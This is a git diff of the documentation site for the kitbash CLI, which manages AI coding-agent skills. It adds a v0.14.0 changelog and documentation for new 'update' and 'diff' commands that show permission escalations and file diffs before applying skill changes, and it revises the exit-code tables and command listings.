Confirm with kitbash --version, which reads the installed package.json. Install and uninstall routes are covered on the installation page.

+
+
+

v0.14.0

+ 2026-08-07latest +
+

Added

+
  • kitbash update — the v0.2 exit criterion, closed. Updating a skill was the one lifecycle step with no tooling: you ran remove + install and reviewed nothing, or edited files by hand and tripped doctor's drift check. update refetches each skill's pinned source and prints the complete review before touching a byte: manifest field deltas with permission escalations flagged (permissions.network: no → YES ⚠ escalation), the changed-file list, then a unified diff of every readable file — instructions, prompts, scripts. Only then does it ask. Three properties are deliberate. The four safety lints that gate install (visible-text, dynamic-context, remote-exec, secrets) re-run against the new version and block the update regardless of --yes — a skill must clear the same gate to change on disk as to arrive. [policy] is re-enforced, so a new version that declares a permission your policy denies cannot arrive by update. And unlike install, a non-interactive run never auto-applies: no TTY plus no --yes means the diff prints, nothing changes, and the exit code says so — the command's whole contract is that a human saw the diff and said yes. Local edits to an installed skill are detected via the lockfile hash and called out before being overwritten; a source that renames its skill is refused rather than silently replacing another.
  • kitbash diff — the same review, read-only. One argument diffs an installed skill against a fresh fetch of its pinned source ("what would update do?"); two arguments diff any two skills — installed names, local paths, or fetchable sources, so kitbash diff prereview gh:owner/repo/skills/prereview@v2 works before anything is installed. Exit codes follow diff(1): 0 identical, 1 different, 2 trouble — scriptable as a cheap "is my skill stale?" probe in CI. Both commands share one diff engine: an LCS line diff with hunk headers, binary and symlink entries listed but never line-diffed, CRLF normalized so a Windows checkout doesn't read as a wall of changes.
+

Fixed

+
  • The CLI docs page still described the 0.6.0 command surface: a flat help listing with no planned/working split, an unknown command exiting 1 with a help dump (it exits 2 with a did-you-mean), planned commands exiting 2 (they exit 7), and a -v alias that was removed in 0.11.0. The synopsis, command summary, and exit-code table now match the shipped binary, and the docs index gained the tenth adapter (zed) its own list had dropped.
+
+

v0.13.0

- 2026-07-29latest + 2026-07-29

Fixed

  • Cline was being charged a standing tax it stopped owing, and served the same skill twice. The cline adapter compiled to .clinerules/<name>.md — a rule, always active, whole body in context every session — and declared the target eager. Cline reads Agent Skills (apps/vscode/src/core/storage/skill-directories.ts scans .cline/skills, .clinerules/skills, .claude/skills and .agents/skills) and loads them progressively: name and description at startup, the body only when use_skill fires. So the target was billed ~539 standing tokens for a skill Cline was willing to lazy-load for ~40. Worse, in any repo that also had .agents/, Kitbash emitted the identical body to both paths and Cline scanned both — the always-on copy defeating the lazy one, and a tool whose entire pitch is measuring standing cost silently adding ~539 tokens of it. cline now compiles to .agents/skills/<name>/SKILL.md, the same vendor-neutral file agents and zed emit, which makes the duplicate structurally impossible: one file serves Cline, Codex, Cursor, Copilot and Zed at once. Detection gains .cline/. Stale .clinerules/<name>.md output is pruned on the next compile; your own rule files there are untouched.
  • The measured tax moved with it, because the numbers are read from the adapters rather than restated: 14× for a manifested skill (~40 lazy vs ~560 eager) and 47× for an unmanifested one, up from 13× and 45×. Cline leaving the eager set costs a row in a table, not the argument — aider and agentsmd still carry the whole body every session. Eight of the ten targets are now lazy.
diff --git a/site/docs/cli.html b/site/docs/cli.html index d85f5ed..5de59eb 100644 --- a/site/docs/cli.html +++ b/site/docs/cli.html @@ -120,14 +120,14 @@

Synopsis

Three cases are handled before dispatch:

  • help / --help / -h, or no argument at all — print the usage listing and exit 0.
  • -
  • --version / -v — print the version and exit 0.
  • -
  • Anything else that isn't a known command — print kitbash: unknown command "…" to stderr, print the usage listing, exit 1.
  • +
  • --version — print the version and exit 0.
  • +
  • Anything else that isn't a known command — print kitbash: unknown command "…" and a did-you-mean suggestion to stderr, exit 2.
$ kitbash --version
-0.6.0
+0.14.0

The usage listing is the command table itself:

$ kitbash help
-kitbash 0.6.0 — write a skill once, run it in every coding agent
+kitbash 0.14.0 — write a skill once, run it in every coding agent
 
 Usage: kitbash <command> [args]
 
@@ -137,24 +137,27 @@ 

Synopsis

list List installed skills with versions and context cost compile Emit native formats for every detected assistant (--strict) doctor Detect assistants, report total standing context cost - update Update skills, showing instruction diffs before applying - diff Instruction/permission/budget diff between two skill versions - lint Schema, context budgets, dead references, injection heuristics (--strict; accepts a name, path, or uninstalled source) - audit Scan installed skills: permission drift, unsigned sources, injection heuristics - preview Render each adapter's output with per-agent token counts — works on uninstalled sources (gh:owner/repo) - explain Why a compilation degraded on a given adapter (accepts a name, path, or uninstalled source) - test Run a skill's static evals: schema, budgets, dead refs, injection heuristics (--strict) + update Refetch each skill's pinned source and apply changes after a full review diff (--yes; safety lints and [policy] re-enforced) + diff Manifest/permission/file diff between a skill and its source, or any two skills (exit: 0 same, 1 differs, 2 trouble) + lint Static checks: schema, budgets, dead refs, safety lints (--strict; name, path, or uninstalled source) + preview Render each target's output with per-agent token counts — works on uninstalled sources + explain Why a compilation degraded on a given target (name, path, or uninstalled source) + test Run a skill's static evals (schema, budgets, dead refs, safety lints; --strict) + +Planned (not yet implemented): + audit Scan installed skills: permission drift, unsigned sources gate Run a gate-mode skill with a deterministic exit code search Search the community index publish Validate and publish a skill to the index lore Build, query, and curate repo intelligence run Run a declared pipeline (e.g. kitbash run ship) +Global: kitbash --version · kitbash --help · kitbash help <command> Docs: https://kitbash.vercel.app/docs

Every command runs against the current working directory as the project root. Skills live in .kitbash/skills/, config in kitbash.toml, pins in kitbash.lock.

Command summary

-

Ten commands are implemented. The other eight are wired to a placeholder that prints kitbash <name>: not implemented yet (lands in <milestone> — see docs/roadmap.md) on stderr and returns exit code 2. They occupy the command surface deliberately, so docs, spec, and implementation grow against one interface.

+

Twelve commands are implemented. The other six are wired to a placeholder that prints kitbash <name>: not implemented yet — planned, see the roadmap on stderr and returns exit code 7. They occupy the command surface deliberately, so docs, spec, and implementation grow against one interface.

@@ -165,8 +168,8 @@

Command summary

- - + + @@ -181,7 +184,7 @@

Command summary

CommandSummaryStatus
listList installed skills with versions and context costAvailable
compileEmit native formats for every detected assistantAvailable
doctorDetect assistants, report total standing context costAvailable
updateUpdate skills, showing instruction diffs before applyingPlanned — v0.2
diffInstruction/permission/budget diff between two skill versionsPlanned — v0.2
updateRefetch pinned sources, apply changes after a full review diffAvailable
diffManifest/permission/file diff between a skill and its source, or any two skillsAvailable
lintSchema, context budgets, dead references, injection heuristicsAvailable
auditScan installed skills: permission drift, unsigned sources, injection heuristicsPlanned — v0.2
previewRender each adapter's output with per-agent token countsAvailable
-

Do not script against planned commands. They exit 2, not 127 and not 1. If your CI treats any non-zero code as a failure, calling kitbash audit today will fail the build with a message pointing at the roadmap.

+

Do not script against planned commands. They exit 7, not 127 and not 1. If your CI treats any non-zero code as a failure, calling kitbash audit today will fail the build with a message pointing at the roadmap.

Commands

@@ -352,6 +355,59 @@

doctor

Exit codes: 0 when detection, integrity, and policy all pass. 1 on a missing lockfile with skills installed, integrity drift, an unpinned installed skill, or a policy violation.

+
+

update

+

kitbash update [skill-name] [--yes]

+

Refetches each installed skill's pinned source — the exact gh:/file: source recorded in kitbash.lock — and, when anything differs, prints the complete review before touching a byte: manifest field deltas with permission escalations flagged, the changed-file list, then a unified diff of every readable file. Only after that does it ask for confirmation, replace the installed directory, and re-pin the lockfile with the new version and content hash.

+
$ kitbash update
+diff: prereview@0.1.0 → prereview@0.2.0
+manifest:
+  version: 0.1.0 → 0.2.0
+  budget: 500 tok → 800 tok  ⚠ escalation
+  permissions.network: no → YES  ⚠ escalation
+files:
+  ~ SKILL.md
+  ~ skill.toml
+  + helper.sh
+
+--- a/SKILL.md
++++ b/SKILL.md
+@@ -1,5 +1,6 @@
+ Do the thing.
+
+ Step one: read files.
+-Step two: report.
++Step two: fetch the changelog from the network.
++Step three: report.
+…
+update prereview to 0.2.0? [y/N]
+

Three properties are deliberate:

+
    +
  • The four safety lints that gate install — visible-text, dynamic-context, remote-exec, secrets — re-run against the new version and block the update regardless of --yes. A skill must clear the same gate to change on disk as to arrive.
  • +
  • [policy] is re-enforced. A new version that declares a permission your policy denies, or grows past max_budget, cannot arrive by update.
  • +
  • Unlike install, a non-interactive run never auto-applies. No TTY and no --yes means the diff prints, nothing changes, and the exit code is 1. The command's whole contract is that a human saw the diff and said yes.
  • +
+

Local edits to an installed skill are detected via the lockfile hash and called out before being overwritten. A source that renames its skill is refused — remove and reinstall instead of letting one skill silently replace another. An unchanged skill reports up to date.

+
    +
  • [skill-name] Optional. Update only this skill. Omit to check everything pinned in kitbash.lock.
  • +
  • --yes Apply without prompting. Does not bypass safety lints or [policy].
  • +
+

Exit codes: 0 when every checked skill is up to date or was applied. 1 when any skill failed to fetch or load, was blocked by a safety lint or policy, or was left unapplied (declined, or non-interactive without --yes).

+
+ +
+

diff

+

kitbash diff <skill-name> [<skill-name | path | source>]

+

The same review update prints, read-only. With one argument it diffs the installed skill against a fresh fetch of its pinned source — "what would update do?". With two arguments it diffs any two skills, each resolved as an installed name, a local path, or a fetchable source, so you can compare two versions of a stranger's skill before either touches your repo:

+
$ kitbash diff prereview gh:owner/repo/skills/prereview@v2
+

Output is the manifest field delta (escalations flagged with ⚠), the changed-file list (+ added, - removed, ~ modified; binaries and symlinks are listed but not line-diffed), then unified diffs. Identical skills print no differences.

+
    +
  • <a> Installed name, path, or source. With no second argument, must be an installed skill pinned in kitbash.lock.
  • +
  • [b] Optional second target to compare against.
  • +
+

Exit codes: diff(1) semantics — 0 identical, 1 different, 2 trouble (unresolvable target, missing lock pin, failed fetch). Scriptable as a cheap "is my skill stale?" probe in CI.

+
+

test

kitbash test [skill-name] [--strict]

@@ -512,14 +568,15 @@

preview

Exit codes

-

Three codes, used consistently. Wire CI against these rather than parsing output.

+

Four codes, used consistently. Wire CI against these rather than parsing output.

- - - + + + +
CodeMeaning
0Success. Also returned by --version, help, and by read-only commands that found problems worth reporting but not failing on — explain on a degraded target, list with nothing installed.
1Failure. Bad or missing arguments, an unresolvable target, a failed fetch, a validation or integrity failure, a policy violation, a declined prompt, a budget overrun, or --strict tripping on warnings. Unknown commands and uncaught errors also land here.
2The command exists but is not implemented in this build. Reserved for the roadmap commands listed in the summary table.
0Success. Also returned by --version, help, by read-only commands that found problems worth reporting but not failing on — explain on a degraded target, list with nothing installed — and by diff when the skills are identical.
1Failure. Bad or missing arguments, an unresolvable target, a failed fetch, a validation or integrity failure, a policy violation, a declined prompt, a budget overrun, an unapplied update, or --strict tripping on warnings. Uncaught errors also land here. For diff it means the opposite of trouble: differences were found.
2Usage trouble: an unknown command (a did-you-mean suggestion is printed), or diff unable to resolve one of its targets.
7The command exists but is not implemented in this build. Reserved for the roadmap commands listed in the summary table.
@@ -528,7 +585,7 @@

Exit codes

kitbash test --strict kitbash compile --strict
-

One caveat for CI. install only prompts when stdin and stdout are both TTYs, so in a pipeline it installs without asking whether or not you passed --yes. The thing that actually stops an unwanted skill in automation is [policy] in kitbash.toml — see trust & review.

+

One caveat for CI. install only prompts when stdin and stdout are both TTYs, so in a pipeline it installs without asking whether or not you passed --yes. The thing that actually stops an unwanted skill in automation is [policy] in kitbash.toml — see trust & review. update is deliberately stricter: in a pipeline it never applies without an explicit --yes.

diff --git a/site/docs/index.html b/site/docs/index.html index 4a8c767..eb33355 100644 --- a/site/docs/index.html +++ b/site/docs/index.html @@ -213,8 +213,9 @@

Working today

  • init, install, remove, list, compile, doctor — the core loop, end-to-end tested in CI.
  • lint, preview, explain, test — read-only inspection. The first three also accept an uninstalled source, so you can read a stranger's skill before it touches your disk.
  • +
  • update — refetch each skill's pinned source and apply changes only after the full review diff: manifest deltas with permission escalations flagged, then a unified diff of every file. Install's safety lints and [policy] are re-enforced, and a non-interactive run never applies without --yes. diff is the same review, read-only — against the pinned source or between any two skills.
  • Sources: gh:owner/repo[/path][@ref], bare owner/repo, and file:path.
  • -
  • Nine adapters: claude-code, cursor, agents, copilot, cline, windsurf, gemini, aider, and the agentsmd floor.
  • +
  • Ten adapters: claude-code, cursor, agents, zed, copilot, cline, windsurf, gemini, aider, and the agentsmd floor.
  • Budget and standing enforcement at compile time, degradation warnings, and --strict.
  • kitbash.lock with directory content hashes, drift detection in doctor, and stale-output pruning after remove.
  • Pre-install review with --yes for scripts, and the [policy] allowlist as a hard gate that --yes does not bypass.
  • @@ -223,15 +224,14 @@

    Working today

Not built yet

-

These commands exist in the surface — kitbash help lists them — but running one prints where it lands and exits 2:

-
$ kitbash update
-kitbash update: not implemented yet (lands in v0.2 — see docs/roadmap.md)
+

These commands exist in the surface — kitbash help lists them — but running one points at the roadmap on stderr and exits 7:

+
$ kitbash audit
+kitbash audit: not implemented yet — planned, see the roadmap:
+  https://github.com/singhharsh1708/kitbash/blob/main/docs/roadmap.md
- - diff --git a/site/index.html b/site/index.html index 0a7e261..d9ab856 100644 --- a/site/index.html +++ b/site/index.html @@ -151,7 +151,7 @@ -

Open format for AI agent skills · v0.13.0 · stable spec (RFC 0002)

+

Open format for AI agent skills · v0.14.0 · stable spec (RFC 0002)

Write an agent skill once. Run it everywhere.

CommandWhat it will doMilestone
updateUpdate skills, showing instruction diffs before applyingv0.2
diffInstruction, permission, and budget diff between two versionsv0.2
auditScan installed skills for permission drift and unsigned sourcesv0.2
gateRun a gate-mode skill with a deterministic exit codev0.3
searchSearch the community indexv0.4